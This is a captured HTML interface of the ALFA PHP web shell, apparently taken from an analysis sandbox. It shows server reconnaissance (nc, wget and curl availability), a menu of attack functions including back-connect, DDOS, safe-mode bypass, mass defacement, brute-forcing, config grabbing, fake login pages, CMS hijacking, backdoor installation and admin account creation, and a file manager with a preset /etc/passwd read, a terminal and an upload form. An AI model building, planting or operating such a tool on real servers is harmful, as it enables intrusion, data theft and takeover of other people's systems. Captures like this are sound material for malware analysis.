</tr><tr><td height="18" colspan="2"><span class="header_vars">Useful : </span><span class="header_values" style="margin-left: 4px;">gcc</span><span class="header_values" style="margin-left: 4px;">cc</span><span class="header_values" style="margin-left: 4px;">ld</span><span class="header_values" style="margin-left: 4px;">make</span><span class="header_values" style="margin-left: 4px;">php</span><span class="header_values" style="margin-left: 4px;">perl</span><span class="header_values" style="margin-left: 4px;">tar</span><span class="header_values" style="margin-left: 4px;">gzip</span><span class="header_values" style="margin-left: 4px;">nc</span></td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" style="margin-left: 4px;">wget</span><span class="header_values" style="margin-left: 4px;">curl</span><span class="header_values" style="margin-left: 4px;">lwp-mirror</span></td>
</tr><tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b><span class="header_show_all">All Functions Accessible</span></b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span><span class="header_on"> ON </span> | <span class="header_vars">SSH2 : </span><span class="header_off"> OFF </span> | <span class="header_vars">Magic Quotes : </span><span class="header_off">OFF</span> | <span class="header_vars"> MySQL :</span><span class="header_off"> OFF </span> | <span class="header_vars">MSSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> PostgreSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> Oracle :</span><span class="header_off"> OFF </span> | <span class="header_vars"> CGI :</span> <span class="header_off" id="header_cgishell">OFF</span></td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad &amp; Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars">Safe_mode_exec_dir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars"> Safe_mode_include_dir :</span><span class="header_none"> NONE </span></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>Apache/2.4.52 (Ubuntu)</b></td>
</tr><tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd"><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)" path="/" href="#action=fileman&amp;path=/">/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)" path="/var/" href="#action=fileman&amp;path=/var/">var/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)" path="/var/www/" href="#action=fileman&amp;path=/var/www/">www/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)" path="/var/www/html/" href="#action=fileman&amp;path=/var/www/html/">html/</a> </span><a href="#action=fileman&amp;path=/var/www/html" onclick="g('FilesMan','/var/www/html','','','')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</tbody></table>
</div>
<div id="meunlist">
<ul>
<li><a id="menu_opt_proc" href="#action=options&amp;path=/var/www/html/&amp;opt=proc" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=proc';g('proc',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Process</a></li>
<li><a id="menu_opt_phpeval" href="#action=options&amp;path=/var/www/html/&amp;opt=phpeval" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=phpeval';g('phpeval',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Eval</a></li>
<li><a id="menu_opt_sql" href="#action=options&amp;path=/var/www/html/&amp;opt=sql" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=sql';g('sql',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SQL Manager</a></li>
<li><a id="menu_opt_dumper" href="#action=options&amp;path=/var/www/html/&amp;opt=dumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=dumper';g('dumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Database Dumper</a></li>
<li><a id="menu_opt_coldumper" href="#action=options&amp;path=/var/www/html/&amp;opt=coldumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=coldumper';g('coldumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Column Dumper</a></li>
<li><a id="menu_opt_hash" href="#action=options&amp;path=/var/www/html/&amp;opt=hash" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=hash';g('hash',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">En-Decoder</a></li>
<li><a id="menu_opt_connect" href="#action=options&amp;path=/var/www/html/&amp;opt=connect" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=connect';g('connect',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BC</a></li>
<li><a id="menu_opt_zoneh" href="#action=options&amp;path=/var/www/html/&amp;opt=zoneh" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=zoneh';g('zoneh',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ZONE-H</a></li>
<li><a id="menu_opt_dos" href="#action=options&amp;path=/var/www/html/&amp;opt=dos" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=dos';g('dos',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DDOS</a></li>
<li><a id="menu_opt_safe" href="#action=options&amp;path=/var/www/html/&amp;opt=safe" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=safe';g('safe',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ByPasser</a></li>
<li><a id="menu_opt_cgishell" href="#action=options&amp;path=/var/www/html/&amp;opt=cgishell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cgishell';g('cgishell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Cgi Shell</a></li>
<li><a id="menu_opt_ssiShell" href="#action=options&amp;path=/var/www/html/&amp;opt=ssiShell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ssiShell';g('ssiShell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SSI SHELL</a></li>
<li><a id="menu_opt_cpcrack" href="#action=options&amp;path=/var/www/html/&amp;opt=cpcrack" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cpcrack';g('cpcrack',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Hash Tools</a></li>
<li><a id="menu_opt_portscanner" href="#action=options&amp;path=/var/www/html/&amp;opt=portscanner" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=portscanner';g('portscanner',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Port Scaner</a></li>
<li><a id="menu_opt_basedir" href="#action=options&amp;path=/var/www/html/&amp;opt=basedir" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=basedir';g('basedir',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Open BaseDir</a></li>
<li><a id="menu_opt_mail" href="#action=options&amp;path=/var/www/html/&amp;opt=mail" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=mail';g('mail',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Mail</a></li>
<li><a id="menu_opt_ziper" href="#action=options&amp;path=/var/www/html/&amp;opt=ziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ziper';g('ziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Compressor</a></li>
<li><a id="menu_opt_deziper" href="#action=options&amp;path=/var/www/html/&amp;opt=deziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=deziper';g('deziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DeCompressor</a></li>
<li><a id="menu_opt_IndexChanger" href="#action=options&amp;path=/var/www/html/&amp;opt=IndexChanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=IndexChanger';g('IndexChanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Index Changer</a></li>
<li><a id="menu_opt_pwchanger" href="#action=options&amp;path=/var/www/html/&amp;opt=pwchanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=pwchanger';g('pwchanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Add New Admin</a></li>
<li><a id="menu_opt_ShellInjectors" href="#action=options&amp;path=/var/www/html/&amp;opt=ShellInjectors" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ShellInjectors';g('ShellInjectors',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Shell Injectors</a></li>
<li><a id="menu_opt_php2xml" href="#action=options&amp;path=/var/www/html/&amp;opt=php2xml" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=php2xml';g('php2xml',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">PHP2XML</a></li>
<li><a id="menu_opt_cloudflare" href="#action=options&amp;path=/var/www/html/&amp;opt=cloudflare" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cloudflare';g('cloudflare',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CloudFlare</a></li>
<li><a id="menu_opt_Whmcs" href="#action=options&amp;path=/var/www/html/&amp;opt=Whmcs" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=Whmcs';g('Whmcs',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whmcs DeCoder</a></li>
<li><a id="menu_opt_symlink" href="#action=options&amp;path=/var/www/html/&amp;opt=symlink" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=symlink';g('symlink',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Symlink</a></li>
<li><a id="menu_opt_MassDefacer" href="#action=options&amp;path=/var/www/html/&amp;opt=MassDefacer" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=MassDefacer';g('MassDefacer',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Mass Defacer</a></li>
<li><a id="menu_opt_Crackers" href="#action=options&amp;path=/var/www/html/&amp;opt=Crackers" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=Crackers';g('Crackers',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BruteForcer</a></li>
<li><a id="menu_opt_searcher" href="#action=options&amp;path=/var/www/html/&amp;opt=searcher" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=searcher';g('searcher',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Searcher</a></li>
<li><a id="menu_opt_config_grabber" href="#action=options&amp;path=/var/www/html/&amp;opt=config_grabber" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=config_grabber';g('config_grabber',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Config Grabber</a></li>
<li><a id="menu_opt_fakepage" href="#action=options&amp;path=/var/www/html/&amp;opt=fakepage" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=fakepage';g('fakepage',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Page</a></li>
<li><a id="menu_opt_archive_manager" href="#action=options&amp;path=/var/www/html/&amp;opt=archive_manager" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=archive_manager';g('archive_manager',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Archive Manager</a></li>
<li><a id="menu_opt_cmshijacker" href="#action=options&amp;path=/var/www/html/&amp;opt=cmshijacker" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cmshijacker';g('cmshijacker',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CMS Hijacker</a></li>
<li><a id="menu_opt_remotedl" href="#action=options&amp;path=/var/www/html/&amp;opt=remotedl" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=remotedl';g('remotedl',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remote Upload</a></li>
<li><a id="menu_opt_inbackdoor" href="#action=options&amp;path=/var/www/html/&amp;opt=inbackdoor" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=inbackdoor';g('inbackdoor',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Install BackDoor</a></li>
<li><a id="menu_opt_whois" href="#action=options&amp;path=/var/www/html/&amp;opt=whois" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=whois';g('whois',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whois</a></li>
<li><a id="menu_opt_selfrm" href="#action=options&amp;path=/var/www/html/&amp;opt=selfrm" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=selfrm';g('selfrm',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remove Shell</a></li>
</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&amp;path=/var/www/html/&amp;opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=settings';g('settings',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&amp;path=/var/www/html/&amp;opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=market';g('market',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&amp;path=/var/www/html/&amp;opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=aboutus';g('aboutus',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">About Us</a></div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="/var/www/html/" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>html</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onclick="alfaFilesManNewTab(c_,'/',1);">New Tab +</div></div><script>alfa1_=alfa2_=alfa3_=""</script><div style="position: relative; min-height: 0px;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><script>alfa1_=alfa2_=alfa3_=""</script><div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,'alfa_sort_by');" style="color:#25ff00;"><option value="name" selected="">Name</option><option value="size">Size</option><option value="modify">Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onchange="sortBySelectedValue(this,'alfa_filesman_direction')" style="color:#25ff00;"><option value="asc" selected="">Ascending</option><option value="desc">Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="0" oninput="this.value=this.value.replace(/[^0-9]/g,'');setCookie('alfa_limited_files', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">4</b></span></div><div class="header"><form onsubmit="fc(this);return false;" name="files" method="post"><table id="filemanager_table" width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th width="13px"><div class="myCheckbox" style="padding-left:0px;"><input type="checkbox" id="mchk79174" onclick="checkBox(this);" class="chkbx"><label for="mchk79174"></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr><tr class="fmanager-row" id="tr_row_0"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value=".." class="chkbx" id="checkbox_791740"><label for="checkbox_791740"></label></div></td><td id="td_row_0"><img src="http://solevisible.com/icons/back.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="0" id="id_0" class="main_name" onclick="g('FilesMan','/var/www');" href="#action=fileman&amp;path=/var/www" fname=".." ftype="folder" path="/var/www/html/" opt_title=""><b>| .. |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:48</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_0" href="javascript:void(0)" onclick="editor('..','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​w​x​r​w​x​</span></a></td><td><a id="id_rename_0" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('..', 'rename','','','','dir')">R</a> <a id="id_touch_0" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('..', 'touch','','','','dir')">T</a><a id="id_delete_0" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # .. # ?'); chk ? g('FilesMan',null,'delete', '..') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_1"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="ALFA_DATA" class="chkbx" id="checkbox_791741"><label for="checkbox_791741"></label></div></td><td id="td_row_1"><img src="http://solevisible.com/icons/folder.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="1" id="id_1" class="main_name" onclick="g('FilesMan','/var/www/html/ALFA_DATA');" href="#action=fileman&amp;path=/var/www/html/ALFA_DATA" fname="ALFA_DATA" ftype="folder" path="/var/www/html/" opt_title=""><b>| ALFA_DATA |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:49</span></td><td><span style="font-weight:unset;" class="main_owner_group">www-data/www-data</span></td><td><a id="id_chmode_1" href="javascript:void(0)" onclick="editor('ALFA_DATA','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​-x​r​-x​</span></a></td><td><a id="id_rename_1" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'rename','','','','dir')">R</a> <a id="id_touch_1" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'touch','','','','dir')">T</a><a id="id_delete_1" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # ALFA_DATA # ?'); chk ? g('FilesMan',null,'delete', 'ALFA_DATA') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_2"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx" id="checkbox_791742"><label for="checkbox_791742"></label></div></td><td id="td_row_2"><img src="http://solevisible.com/icons/notfound.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="2" id="id_2" class="main_name" onclick="editor('beneri.se_malware_analysis','auto','','','','file');" href="#action=fileman&amp;path=/var/www/html/&amp;file=beneri.se_malware_analysis" fname="beneri.se_malware_analysis" ftype="file" path="/var/www/html/" opt_title="">beneri.se_malware_analysis</a></div></td><td><span style="font-weight:unset;" class="main_size">0 B</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:48</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_2" href="javascript:void(0)" onclick="editor('beneri.se_malware_analysis','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​--r​--</span></a></td><td><a id="id_rename_2" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'rename','','','','file')">R</a> <a id="id_touch_2" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'touch','','','','file')">T</a> <a id="id_edit_2" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'edit','','','','file')">E</a> <a id="id_download_2" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a><a id="id_delete_2" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # beneri.se_malware_analysis # ?'); chk ? g('FilesMan',null,'delete', 'beneri.se_malware_analysis') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_3"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="hw0.php" class="chkbx" id="checkbox_791743"><label for="checkbox_791743"></label></div></td><td id="td_row_3"><img src="http://solevisible.com/icons/php.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="3" id="id_3" class="main_name" onclick="editor('hw0.php','auto','','','','file');" href="#action=fileman&amp;path=/var/www/html/&amp;file=hw0.php" fname="hw0.php" ftype="file" path="/var/www/html/" opt_title=""><span class="shell_name" style="font-weight:unset;">hw0.php</span></a></div></td><td><span style="font-weight:unset;" class="main_size">452.92 KB</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:48</span></td><td><span style="font-weight:unset;" class="main_owner_group">osboxes/osboxes</span></td><td><a id="id_chmode_3" href="javascript:void(0)" onclick="editor('hw0.php','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​w​-r​--</span></a></td><td><a id="id_rename_3" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('hw0.php', 'rename','','','','file')">R</a> <a id="id_touch_3" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('hw0.php', 'touch','','','','file')">T</a> <a id="id_edit_3" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('hw0.php', 'edit','','','','file')">E</a> <a id="id_download_3" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'hw0.php', 'download')">D</a><a id="id_delete_3" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # hw0.php # ?'); chk ? g('FilesMan',null,'delete', 'hw0.php') : '';"> X </a></td></tr><tr id="filemanager_last_tr"><td colspan="7">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="charset" value="">
<select id="tools_selector" name="alfa1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete" selected="">Delete</option><option value="zip">Add 2 Compress (zip)</option><option value="unzip">Add 2 Uncompress (zip)</option><option value="paste">Paste / Zip / Unzip </option></select>
<input type="submit" value=" ">
</td></tr></tbody></table><div class="pages-holder"><div class="pages-number"></div></div></form></div></div></div><table class="foot" width="100%" border="0" cellspacing="3" cellpadding="0">
<tbody><tr>
<td width="17%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;"><span class="footer_text">Make File : </span><br><input class="dir" type="text" name="f" value=""> <input type="submit" value=" "></form></td>
<td width="21%"><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;"><span class="footer_text">Make Dir : </span><br><input class="dir" type="text" name="d" value=" "> <input type="submit" value=" "></form></td>
<td width="22%"><form onsubmit="g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;"><span class="footer_text">Delete : </span><br><input class="dir" type="text" name="del" value=" "> <input type="submit" value=" "></form></td>
<td width="19%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;"><span class="footer_text">Chmod : </span><br><input class="dir" type="text" name="f" value=" "> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="2"><form onsubmit="g(&quot;FilesMan&quot;,this.c.value,&quot;&quot;);return false;"><span class="footer_text">Change Dir : </span><br><input class="foottable" id="footer_cwd" type="text" name="c" value="/var/www/html/"> <input type="submit" value=" "></form></td>
<td colspan="2"><form onsubmit="editor(this.file.value,'view','','','','file');return false;"><span><span class="footer_text">Read File : </span></span><br><input class="foottable" type="text" name="file" value="/etc/passwd"> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="4"><form style="margin-top: 10px;" onsubmit="return false;" autocomplete="off"><span><span class="footer_text">Execute :</span><br><button onclick="alfaOpenPhpTerminal();return false;" class="foottable alfa_custom_cmd_btn"><img style="width:28px;vertical-align: middle;" src="http://solevisible.com/icons/menu/terminal.svg"> Terminal</button><br></span></form></td>
</tr>
<tr>
<td colspan="4"><form onsubmit="u(this);return false;" name="footer_form" method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="ajax" value="true">
<input type="hidden" name="alfa1" value="uploadFile">
<input type="hidden" name="charset" value="Windows-1251">
<span class="footer_text">Upload file: </span><span><button id="addup" onclick="addnewup();return false;"><b>+</b></button></span><p id="pfooterup"><label class="inputfile" for="footerup"><span id="__fnameup"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="footerup" class="toolsInp" type="file" name="f[]" onchange="handleup(this,0);" multiple=""></p><input type="submit" name="submit" value=" "></form><div id="alfa-copyright"><span class="copyright">[ ./AlfaTeam © 2012-2023 ]</span><br><span><a href="javascript:void(0);" onclick="alert(&quot;BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo&quot;);" style="color: #E91E63;text-decoration: none;">Donate Us !</a></span> <span style="letter-spacing: 2px;color: #dfff00;">solevisible[at]gmail.com</span> <span><a style="color: #ff6060;text-decoration: none;" target="_blank" href="https://telegram.me/solevisible">@solevisible</a></span></div></td>
</tr>
</tbody></table>
</div>

<div id="options_window" style="background: rgba(0, 0, 0, 0.69); display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;options_window&quot;);"></div><div onclick="editorClose(&quot;options_window&quot;);" class="close-button"></div></div></div><div style="height:100%;" class="content_options_holder"><div class="options_tab"></div><div class="options_content" style="margin-left:14px;margin-right:30px;background:#000;overflow:auto;"></div></div></div></div>

<div id="database_window" style="background:rgba(0, 0, 0, 0.69);"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title">Sql Manager</div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;database_window&quot;);"></div><div onclick="editorClose(&quot;database_window&quot;);" class="close-button"></div></div></div><div class="content_options_holder" style="margin-left:14px;margin-right:30px;background:#000;max-height:90%;"><div class="sql-tabs"></div><div class="sql-contents" style="max-height: 85vh;"></div></div></div></div>

<div id="cgiloader" style="display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;cgiloader&quot;);"></div><div onclick="editorClose(&quot;cgiloader&quot;);" class="close-button"></div></div></div><div id="cgiframe" style="position:relative;margin-left:14px;margin-right:30px;"><div class="terminal-tabs"></div><div style="height:90%;" class="terminal-contents"></div></div></div></div>
<div id="editor" style="display:none;"><div class="editor-wrapper"><div class="editor-header"><div class="editor-path"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;editor&quot;);"></div><div onclick="editorClose(&quot;editor&quot;);" class="close-button"></div></div></div><div onclick="historyPanelController(this);" mode="visible" class="history-panel-controller">&lt;&lt;</div><div class="editor-explorer"><div class="hheader"><div class="history-clear" onclick="clearEditorHistory();">Clear all</div><div class="hheader-text">History</div><div class="editor-search"><input type="text" style="text-align:center;" id="search-input" placeholder="search"></div></div><div class="history-list"></div></div><div class="editor-modal"><div class="editor-body"><div class="editor-content"><div class="editor-tabs"></div><div class="editor-content-holder"></div></div></div></div></div></div>
<div id="update-content"></div>
<div id="database_window-minimized" onclick="showEditor(&quot;database_window&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div class="minimized-text" style="top: 15px;">Database</div></div></div>
<div id="options_window-minimized" onclick="showEditor(&quot;options_window&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 4px;" class="minimized-text">Options</div></div></div>
<div id="editor-minimized" onclick="showEditor(&quot;editor&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 2px;" class="minimized-text">Editor</div></div></div>
